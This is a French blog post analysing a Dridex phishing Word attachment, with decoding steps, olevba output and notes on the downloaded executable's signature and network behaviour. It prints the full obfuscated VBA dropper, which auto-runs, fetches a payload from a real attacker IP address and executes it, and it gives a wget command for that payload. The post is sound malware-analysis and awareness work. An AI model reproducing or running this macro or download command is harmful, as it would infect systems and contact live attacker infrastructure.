Le retour du Dridex

Comme beaucoup cet été, notre boite de messagerie aura été ciblée par une des nombreuses campagnes Dridex.  Et en cette fin octobre, ce dernier nous fait un petit come-back dans l’hexagone. Le CERT-FR s’est même fendu d’une alerte pour l’occasion.

Voici comment nous nous y sommes pris pour jeter un oeil à ce bidule. L’idée ici de faire un maximum avec des outils simples :  Ainsi nous laisserons IDA Pro… aux pros de la retro-ingénierie.

Alors pour ceux qui sont arrivés en retard, Dridex est un logiciel malveillant. Son vecteur de contamination est simple : Faire ouvrir à la victime une pièce jointe reçue dans un message électronique.

Cette pièce jointe est souvent (… toujours ?) un document office contenant des macro.

Dans notre cas, la pièce jointe reçue se nomme : reserve_<prenom.nom>-12345678.doc

On commence donc par un petit « file » :

%> file reserve_prenom.nom-12345678.doc
reserve_prenom.nom-12345678.doc: MIME entity, ISO-8859 text, with CRLF line terminators

Cela ne ressemble pas vraiment à du document office comme pourrait le laisser penser l’extension. En parcourant le fichier avec notre éditeur de texte favori, on finit par trouver une section intéressante :

------=_NextPart_21D11153.8817DC45
Content-Location: file:///C:/428FA132/file7516.files/editdata.mso
Content-Transfer-Encoding: base64
Content-Type: application/x-mso

Le tout est suivi d’un gros blop encodé en base64 que l’on récupère dans un nouveau fichier editdata.mso.b64

%>tr -d '\r' <  editdata.mso.b64 > pure.base64
%>base64 -d pure.base64 > editdata.mso

Une fois le base64 décodé, on obtient un fichier binaire :

%> file editdata.mso
editdata.mso: data
%> hexdump -C editdata.mso
00000000 41 63 74 69 76 65 4d 69 6d 65 00 00 01 f0 04 00 |ActiveMime......|
00000010 00 00 ff ff ff ff 00 00 07 f0 41 4a 00 00 04 00 |..........AJ....|
00000020 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 f6 |................|
00000030 00 00 78 9c ed 7d 09 60 13 c7 b9 ff ec 4a 96 65 |..x..}.`.....J.e|
00000040 f9 88 21 0e 31 c4 c0 62 0c 98 cb 48 b2 24 cb 04 |..!.1..b...H.$..|
00000050 27 b6 2e 1f d8 d8 e0 13 ea fc b1 6c c9 b6 6c d9 |'..........l..l.|
00000060 32 92 6c 6c 93 43 06 4a 28 a1 09 6d 92 3e 9a 93 |2.ll.C.J(..m.>..|
00000070 a4 af 09 49 68 43 8e a6 34 2f 87 73 51 42 73 b8 |...IhC..4/.sQBs.|
00000080 37 49 7a 90 26 4d 69 9a e6 d1 94 a6 34 87 f5 ff |7Iz.&Mi.....4...|
00000090 be d9 5d 69 25 4b 60 9c bc be f4 95 b5 7f 9a dd |..]i%K`.........|
000000a0 6f 67 be 99 f9 76 8e 6f ee b1 57 a7 1d bf eb a1 |og...v.o..W.....|
000000b0 59 6f 92 a8 eb 32 22 23 e3 c1 24 a2 90 d0 18 01 |Yo...2"#..$.....|
000000c0 f4 4a 27 84 05 23 01 30 1e 0c 06 45 72 f0 fc f5 |.J'..#.0...Er...|

Rien d’évident n’apparait dans le fichier. Mais en cherchant sur le net la structure des fichiers MSO, on est tombé (un peu par hazard, avouons-le) sur ceci. Du coup, nous savons comment nous y prendre : on extrait donc le fichier à partir du 51eme octet, grâce à la commande suivante :

 %> tail -c  +51 editdata.mso > editdata.mso.purge

Puis nous pouvons dézipper :

%>zlib-flate -uncompress < editdata.mso.purge  > editdata.mso.decompress
%>file editdata.mso.decompress
editdata.mso.decompress: Composite Document File V2 Document, No summary info

Nous trouvons enfin un peu de données exploitables.

A partir d’ici, deux saveurs s’offrent à vous : celle de la bière belge avec oledump.py et celle du cidre breton avec oletools. Fière du terroir français, nous choisissons de continuer avec le second.

Nous utilisons donc la suite d’outils oletools (présentée dans MISC et au dernier SSTIC).

On commence par lancer une analyse automatique du document via la commande suivante :

%> python oletools-0.12/oletools/olevba.py --decode editdata.mso.decompress
+------------+----------------------+-----------------------------------------+
| Type       | Keyword              | Description                             |
+------------+----------------------+-----------------------------------------+
| AutoExec   | AutoOpen             | Runs when the Word document is opened   |
| AutoExec   | Workbook_Open        | Runs when the Excel Workbook is opened  |
| Suspicious | Open                 | May open a file                         |
| Suspicious | Shell                | May run an executable file or a system  |
|            |                      | command                                 |
| Suspicious | vbHide               | May run an executable file or a system  |
|            |                      | command                                 |
| Suspicious | CreateObject         | May create an OLE object                |
| Suspicious | Chr                  | May attempt to obfuscate specific       |
|            |                      | strings                                 |
| Suspicious | SaveToFile           | May create a text file                  |
| Suspicious | Environ              | May read system environment variables   |
| Suspicious | Write                | May write to a file (if combined with   |
|            |                      | Open)                                   |
| Suspicious | Hex Strings          | Hex-encoded strings were detected, may  |
|            |                      | be used to obfuscate strings (option    |
|            |                      | --decode to see all)                    |
| IOC        | 117.239.73.244       | IPv4 address                            |
| Hex String | '/axae.e'            | '2F617861652E65'                        |
| Hex String | 'cmd /c start        | '636D64202F632073746172742025544D50252F |
|            | %TMP%/axae.e'        | 617861652E65'                           |
| Hex String | 'ft.XM'              | '66742E584D'                            |
| Hex String | 'roso'               | '726F736F'                              |
| Hex String | 'LHTTP'              | '4C48545450'                            |
| Hex String | 'POST'               | '504F5354'                              |
+------------+----------------------+-----------------------------------------+

Il y a donc bien un truc de suspect dans ce fichier. A l’aide de la commande suivante, nous pouvons récupérer le contenu des macros

 %> python oletools-0.12/oletools/olevba.py -c editdata.mso.decompress

Voici le bousin qu’on récupère :

olevba 0.31 - http://decalage.info/python/oletools
Flags        Filename
-----------  -----------------------------------------------------------------
OLE:MASIH--- editdata.mso.decompress

(Flags: OpX=OpenXML, XML=Word2003XML, MHT=MHTML, M=Macros, A=Auto-executable, S=Suspicious keywords, I=IOCs, H=Hex strings, B=Base64 strings, D=Dridex strings, V=VBA strings, ?=Unknown)

===============================================================================
FILE: editdata.mso.decompress
Type: OLE
-------------------------------------------------------------------------------
VBA MACRO ThisDocument.cls
in file: editdata.mso.decompress - OLE stream: u'VBA/ThisDocument'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Sub UFJhvhjdsf()
ioikN6O
End Sub
Sub AutoOpen()
    UFJhvhjdsf
End Sub
Sub Workbook_Open()
    UFJhvhjdsf
End Sub
-------------------------------------------------------------------------------
VBA MACRO Module4.bas
in file: editdata.mso.decompress - OLE stream: u'VBA/Module4'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Public Function ZsnbF()

Dim oyxZRfVi As Integer
oyxZRfVi = 9
Do While oyxZRfVi &amp;lt; 45
DoEvents: oyxZRfVi = oyxZRfVi + 1
Loop

dTYVJHdf = ZfyE("78")

Dim lretHtey As Integer
lretHtey = 1
Do While lretHtey &amp;lt; 93
DoEvents: lretHtey = lretHtey + 1
Loop

 ZsnbF = Environ(Module3.TZogwF) &amp;amp; ZfyE("2F617861652E65") + dTYVJHdf + ZfyE("65")
End Function

Public Function JqBv4aTP3Ok()

Dim FbSjdctS As Integer
FbSjdctS = 5
Do While FbSjdctS &amp;lt; 47
DoEvents: FbSjdctS = FbSjdctS + 1
Loop

dTYVJHdf = ZfyE("78")

Dim CclLcgpO As Integer
CclLcgpO = 6
Do While CclLcgpO &amp;lt; 28
DoEvents: CclLcgpO = CclLcgpO + 1
Loop

 JqBv4aTP3Ok = Shell(ZfyE("636D64202F632073746172742025544D50252F617861652E65") + dTYVJHdf + ZfyE("65"), vbHide)
End Function


-------------------------------------------------------------------------------
VBA MACRO Module3.bas
in file: editdata.mso.decompress - OLE stream: u'VBA/Module3'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Public Function ZeIlGqZSFgIDLHHkmSGjLjwURmIUnViJgWJ32() As Integer
Dim LaeOimThUrkNzAqNAHkCaFcPYEnbAdRqWJV88, PgEBTrDVdISzoIQwlmGYQZVmOaREguJwfXE96, rmrGgoGDwXlOFGszunCTUQwsXAepEmmZTiS17, YJbnUuQDABaTXuUOrGTshGCAJotbVWITjVl26 As String
Dim bRwPWFUWBHaEKGEOvwbQtvDLrANfHJOEyUb11, xyozajSepkllJFjaZtpykUtyZUjLyPqgXlu99, QGurkZmtoPfQDOgXEikUiZWXnCREStWYXHs24, DjPoeNzsrSGwjQKcFXMUTZJvkKREqzVJRPM53 As Integer

Dim yuBIiTiP As Integer
yuBIiTiP = 8
Do While yuBIiTiP &amp;lt; 24
DoEvents: yuBIiTiP = yuBIiTiP + 1
Loop

bRwPWFUWBHaEKGEOvwbQtvDLrANfHJOEyUb11 = 9781

Dim IWnZreah As Integer
IWnZreah = 7
Do While IWnZreah &amp;lt; 44
DoEvents: IWnZreah = IWnZreah + 1
Loop

LaeOimThUrkNzAqNAHkCaFcPYEnbAdRqWJV88 = d

Dim crqSEfkY As Integer
crqSEfkY = 2
Do While crqSEfkY &amp;lt; 54 DoEvents: crqSEfkY = crqSEfkY + 1 Loop xyozajSepkllJFjaZtpykUtyZUjLyPqgXlu99 = Asc(LaeOimThUrkNzAqNAHkCaFcPYEnbAdRqWJV88) If bRwPWFUWBHaEKGEOvwbQtvDLrANfHJOEyUb11 &amp;gt; xyozajSepkllJFjaZtpykUtyZUjLyPqgXlu99 Then
    For QGurkZmtoPfQDOgXEikUiZWXnCREStWYXHs24 = 1 To 43

Dim QZrdQWsA As Integer
QZrdQWsA = 5
Do While QZrdQWsA &amp;lt; 26
DoEvents: QZrdQWsA = QZrdQWsA + 1
Loop

       DjPoeNzsrSGwjQKcFXMUTZJvkKREqzVJRPM53 = xyozajSepkllJFjaZtpykUtyZUjLyPqgXlu99 + QGurkZmtoPfQDOgXEikUiZWXnCREStWYXHs24
    Next QGurkZmtoPfQDOgXEikUiZWXnCREStWYXHs24

Dim FqOGCbTB As Integer
FqOGCbTB = 5
Do While FqOGCbTB &amp;lt; 23
DoEvents: FqOGCbTB = FqOGCbTB + 1
Loop

DjPoeNzsrSGwjQKcFXMUTZJvkKREqzVJRPM53 = DjPoeNzsrSGwjQKcFXMUTZJvkKREqzVJRPM53 + bRwPWFUWBHaEKGEOvwbQtvDLrANfHJOEyUb11

Dim iWBRnamA As Integer
iWBRnamA = 2
Do While iWBRnamA &amp;lt; 32
DoEvents: iWBRnamA = iWBRnamA + 1
Loop

PgEBTrDVdISzoIQwlmGYQZVmOaREguJwfXE96 = CStr(DjPoeNzsrSGwjQKcFXMUTZJvkKREqzVJRPM53)

Dim CtOGaqQK As Integer
CtOGaqQK = 7
Do While CtOGaqQK &amp;lt; 42
DoEvents: CtOGaqQK = CtOGaqQK + 1
Loop

rmrGgoGDwXlOFGszunCTUQwsXAepEmmZTiS17 = Mid$(PgEBTrDVdISzoIQwlmGYQZVmOaREguJwfXE96, 1, 4)

Dim vCHhGWbW As Integer
vCHhGWbW = 3
Do While vCHhGWbW &amp;lt; 38
DoEvents: vCHhGWbW = vCHhGWbW + 1
Loop

YJbnUuQDABaTXuUOrGTshGCAJotbVWITjVl26 = YJbnUuQDABaTXuUOrGTshGCAJotbVWITjVl26 &amp;amp; "73"

Dim KOtoyuiL As Integer
KOtoyuiL = 8
Do While KOtoyuiL &amp;lt; 37
DoEvents: KOtoyuiL = KOtoyuiL + 1
Loop

ZeIlGqZSFgIDLHHkmSGjLjwURmIUnViJgWJ32 = CInt(Mid$(YJbnUuQDABaTXuUOrGTshGCAJotbVWITjVl26, 2, 6))
Else

Dim pQMVoDyU As Integer
pQMVoDyU = 2
Do While pQMVoDyU &amp;lt; 82
DoEvents: pQMVoDyU = pQMVoDyU + 1
Loop

ZeIlGqZSFgIDLHHkmSGjLjwURmIUnViJgWJ32 = 43 + 9781

Dim EwqIVZzG As Integer
EwqIVZzG = 3
Do While EwqIVZzG &amp;lt; 67
DoEvents: EwqIVZzG = EwqIVZzG + 1
Loop

MsgBox ("YzviwutQvFKYvLYnAJUXeoaXXpkzIeOjueJ95")
End Function



Public Function TZogwF()

Dim oYmpirem As Integer
oYmpirem = 8
Do While oYmpirem &amp;lt; 41
DoEvents: oYmpirem = oYmpirem + 1
Loop

fCGHdsfdf = ZfyE("54")

Dim kTNSlWil As Integer
kTNSlWil = 1
Do While kTNSlWil &amp;lt; 98
DoEvents: kTNSlWil = kTNSlWil + 1
Loop

IUGjdsfsdf = fCGHdsfdf + ZfyE("454D")

Dim frKkiFMy As Integer
frKkiFMy = 9
Do While frKkiFMy &amp;lt; 55
DoEvents: frKkiFMy = frKkiFMy + 1
Loop

  TZogwF = IUGjdsfsdf + ZfyE("50")
End Function
Public Function HEWCCP()

Dim FNPVGfpB As Integer
FNPVGfpB = 5
Do While FNPVGfpB &amp;lt; 42
DoEvents: FNPVGfpB = FNPVGfpB + 1
Loop

ytjrtgdsFFsd = ZfyE("4D6963")

Dim CBhnatgX As Integer
CBhnatgX = 6
Do While CBhnatgX &amp;lt; 24
DoEvents: CBhnatgX = CBhnatgX + 1
Loop

uyFhkdsfdsf = ZfyE("66742E584D")

Dim Lcozzdig As Integer
Lcozzdig = 6
Do While Lcozzdig &amp;lt; 56
DoEvents: Lcozzdig = Lcozzdig + 1
Loop

 HEWCCP = ytjrtgdsFFsd + ZfyE("726F736F") + uyFhkdsfdsf + ZfyE("4C48545450")
End Function
Public Function tsVi()

Dim mgwzJbZO As Integer
mgwzJbZO = 8
Do While mgwzJbZO &amp;lt; 43
DoEvents: mgwzJbZO = mgwzJbZO + 1
Loop

sDVKdsf = ZfyE("444F44")

Dim EfzEzjUY As Integer
EfzEzjUY = 1
Do While EfzEzjUY &amp;lt; 25
DoEvents: EfzEzjUY = EfzEzjUY + 1
Loop

uyfjkdsf = ZfyE("537472")

Dim bSWtevAB As Integer
bSWtevAB = 9
Do While bSWtevAB &amp;lt; 47
DoEvents: bSWtevAB = bSWtevAB + 1
Loop

 tsVi = ZfyE("41") + sDVKdsf + ZfyE("422E") + uyfjkdsf + ZfyE("65616D")
End Function


-------------------------------------------------------------------------------
VBA MACRO Module1.bas
in file: editdata.mso.decompress - OLE stream: u'VBA/Module1'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Public Function ZfyE(ByVal sData As String) As String
Dim i       As Long
For i = 1 To Len(sData) Step 2

Dim GKAkaUXz As Integer
GKAkaUXz = 3
Do While GKAkaUXz &amp;lt; 41
DoEvents: GKAkaUXz = GKAkaUXz + 1
Loop

 ZfyE = ZfyE &amp;amp; Chr$(Val("&amp;amp;H" &amp;amp; Mid$(sData, i, 2)))
Next i
End Function


-------------------------------------------------------------------------------
VBA MACRO Module11.bas
in file: editdata.mso.decompress - OLE stream: u'VBA/Module11'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Sub ioikN6O()


Dim FJHHIADN As Integer
FJHHIADN = 5
Do While FJHHIADN &amp;lt; 41
DoEvents: FJHHIADN = FJHHIADN + 1
Loop

Set itGIUGdfdsfvv = CreateObject(Module3.HEWCCP)
itGIUGdfdsfvv.Open ZfyE("504F5354"), Module2.YVnTUhDMP, False

Dim KgfCIsTQ As Integer
KgfCIsTQ = 6
Do While KgfCIsTQ &amp;lt; 55
DoEvents: KgfCIsTQ = KgfCIsTQ + 1
Loop

itGIUGdfdsfvv.send


Dim qsnztMGY As Integer
qsnztMGY = 9
Do While qsnztMGY &amp;lt; 85
DoEvents: qsnztMGY = qsnztMGY + 1
Loop

    Set SCvdhfsdf = CreateObject(Module3.tsVi)

Dim lqyRhQMR As Integer
lqyRhQMR = 1
Do While lqyRhQMR &amp;lt; 66
DoEvents: lqyRhQMR = lqyRhQMR + 1
Loop

    SCvdhfsdf.Open

Dim gOBtjLFC As Integer
gOBtjLFC = 1
Do While gOBtjLFC &amp;lt; 89
DoEvents: gOBtjLFC = gOBtjLFC + 1
Loop

    SCvdhfsdf.Type = 0 + 1

Dim vITUZPLM As Integer
vITUZPLM = 2
Do While vITUZPLM &amp;lt; 71
DoEvents: vITUZPLM = vITUZPLM + 1
Loop

    SCvdhfsdf.Write itGIUGdfdsfvv.responseBody

Dim WzlbkdwE As Integer
WzlbkdwE = 4
Do While WzlbkdwE &amp;lt; 53
DoEvents: WzlbkdwE = WzlbkdwE + 1
Loop

    SCvdhfsdf.SaveToFile Module4.ZsnbF, 2

Dim Hnstyyok As Integer
Hnstyyok = 3
Do While Hnstyyok &amp;lt; 75
DoEvents: Hnstyyok = Hnstyyok + 1
Loop

    SCvdhfsdf.Close

Dim BbKUkCfg As Integer
BbKUkCfg = 4
Do While BbKUkCfg &amp;lt; 67
DoEvents: BbKUkCfg = BbKUkCfg + 1
Loop

Module4.JqBv4aTP3Ok
End Sub



-------------------------------------------------------------------------------
VBA MACRO Module2.bas
in file: editdata.mso.decompress - OLE stream: u'VBA/Module2'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Public Function YVnTUhDMP()

Dim pbiXVIkl As Integer
pbiXVIkl = 6
Do While pbiXVIkl &amp;lt; 25
DoEvents: pbiXVIkl = pbiXVIkl + 1
Loop

FGHJfhjfFJ = "117.239.73.244:8880"

Dim lcDvobxj As Integer
lcDvobxj = 8
Do While lcDvobxj &amp;lt; 97
DoEvents: lcDvobxj = lcDvobxj + 1
Loop

fHJKVsdf = "h"

Dim AxlaljAg As Integer
AxlaljAg = 9
Do While AxlaljAg &amp;lt; 54
DoEvents: AxlaljAg = AxlaljAg + 1
Loop

dTYKdfdsf = "tp:/"

Dim PmBZTiYs As Integer
PmBZTiYs = 4
Do While PmBZTiYs &amp;lt; 36
DoEvents: PmBZTiYs = PmBZTiYs + 1
Loop

oihUIGUIdsf = "etimg.p"

Dim MgzmpzVj As Integer
MgzmpzVj = 6
Do While MgzmpzVj &amp;lt; 83
DoEvents: MgzmpzVj = MgzmpzVj + 1
Loop

YVnTUhDMP = fHJKVsdf + "t" + dTYKdfdsf + "/" + FGHJfhjfFJ + "/images/g" + oihUIGUIdsf + "hp"
 End Function

Le moins que l’on puisse dire c’est que c’est assez imbitable (on dirait du code OpenSSL) !

Cependant après un peu de nettoyage à l’aide de quelques expressions régulières et de chercher/remplacer, on tombe sur l’URL suivante :

http://117.239.73.244_BAD:8880/images/getimg.php

Allons donc voir ce qui s’y cache :

%> wget http://117.239.73.244:8880/images/getimg.php
Connecting to 117.239.73.244:8880... connected.
HTTP request sent, awaiting response... 200 OK
Length: 313904 (307K) [application/octet-stream]
Saving to: ‘getimg.php’
%> file getimg.php
getimg.php: PE32 executable (console) Intel 80386, for MS Windows
%> sha256sum getimg.php
2fddff60efc46621919e523447048a551567f8868600ae2fc286ed97c89c91f0  getimg.php

Un rapide tour sur VirusTotal (à défaut d’avoir une instance d’IRMA Maison) nous indique que ce condensat est associé à un fichier malveillant.

Depuis Windows, il est amusant de voir que nos « amis » ont un peu d’humour :

fsociety

FSociety est en effet une référence à une série sortie l’été 2015.

Cependant, télécharger un exécutable n’est pas dangereux en soi, mais en analysant un peu plus les macros, nous nous rendons vite compte qu’une fois téléchargé le fichier est directement exécuté :

cmd /c start %TMP%/axae.exe

Ce qui est également intéressant sur ce fichier est qu’il est signé :

%$> ./osslsigncode verify -in ../getimg.php
Current PE checksum   : 0004D84A
Calculated PE checksum: 0004D84A

Message digest algorithm  : SHA1
Current message digest    : 1E38266C7ACF19DDCAE6DE936D84991AF53922AC
Calculated message digest : 1E38266C7ACF19DDCAE6DE936D84991AF53922AC

Signature verification: ok

Number of signers: 1
        Signer #0:
                Subject: /C=RU/postalCode=191119/ST=ST PETERSBURG/L=ST PETERSBURG/street=Romenskaya 7/O=LIDER/CN=LIDER
                Issuer : /C=GB/ST=Greater Manchester/L=Salford/O=COMODO CA Limited/CN=COMODO RSA Code Signing CA

Number of certificates: 4
        Cert #0:
                Subject: /C=GB/ST=Greater Manchester/L=Salford/O=COMODO CA Limited/CN=COMODO Time Stamping Signer
                Issuer : /C=US/ST=UT/L=Salt Lake City/O=The USERTRUST Network/OU=http://www.usertrust.com/CN=UTN-USERFirst-Object
        Cert #1:
                Subject: /C=RU/postalCode=191119/ST=ST PETERSBURG/L=ST PETERSBURG/street=Romenskaya 7/O=LIDER/CN=LIDER
                Issuer : /C=GB/ST=Greater Manchester/L=Salford/O=COMODO CA Limited/CN=COMODO RSA Code Signing CA
        Cert #2:
                Subject: /C=GB/ST=Greater Manchester/L=Salford/O=COMODO CA Limited/CN=COMODO RSA Certification Authority
                Issuer : /C=SE/O=AddTrust AB/OU=AddTrust External TTP Network/CN=AddTrust External CA Root
        Cert #3:
                Subject: /C=GB/ST=Greater Manchester/L=Salford/O=COMODO CA Limited/CN=COMODO RSA Code Signing CA
                Issuer : /C=GB/ST=Greater Manchester/L=Salford/O=COMODO CA Limited/CN=COMODO RSA Certification Authority

Succeeded

Nous laissons le soin au lecteur de vérifier si l’adresse du Lider est juste.

D’ailleurs, nous avons même une adresse électronique de contact. On notera également que le fichier est tout chaud puisque signé très récemment au moment de la rédaction de cet article.

signature_Fsociety

Enfin une fois executé, nous pouvons surveiller le programme et les ressources qu’il utilise grâce à Process Hacker  et nous voyons alors une connexion sur une ip et port exotique (déjà présent dans l’alerte du CERT-FR):

cc

Ensuite on constate deux choses : le programme fsociety.exe s’est effacé (aucune trace ni dans le répertoire d’exécution ni dans la corbeille) et notre explorer.exe commence à faire des choses pour le moins étranges (La capture ci-dessous est un montage paint, mais elle montre ce qui se passe chronologiquement) : Explorer tente de se connecter sur le port 443 sur plusieurs sites successivement, la dernière adresse répond et une connexion est établie. Après un petit temps, mon explorer.exe se met à écouter sur le port 443…

Capture2

Nous avons donc gagné le droit de jeter notre machine virtuelle.

En conclusion, nous avons réussi à analyser assez rapidement le contenu de ce message électronique avec des outils assez simples d’utilisation et cela nous a permis de trouver quelques indices de compromissions.

Publicités

A propos JoMendes

Amateur de mathématiques et d'hexadécimal. Je m'intéresse de près ou de loin suivant mon niveau à tous les sujets de sécurité de l'information.
Cet article, publié dans Outils, Sensibilisation, est tagué , . Ajoutez ce permalien à vos favoris.

Un commentaire pour Le retour du Dridex

  1. Ping : Locky l’épidémie | Cryptobourrin

Laisser un commentaire

Entrez vos coordonnées ci-dessous ou cliquez sur une icône pour vous connecter:

Logo WordPress.com

Vous commentez à l'aide de votre compte WordPress.com. Déconnexion / Changer )

Image Twitter

Vous commentez à l'aide de votre compte Twitter. Déconnexion / Changer )

Photo Facebook

Vous commentez à l'aide de votre compte Facebook. Déconnexion / Changer )

Photo Google+

Vous commentez à l'aide de votre compte Google+. Déconnexion / Changer )

Connexion à %s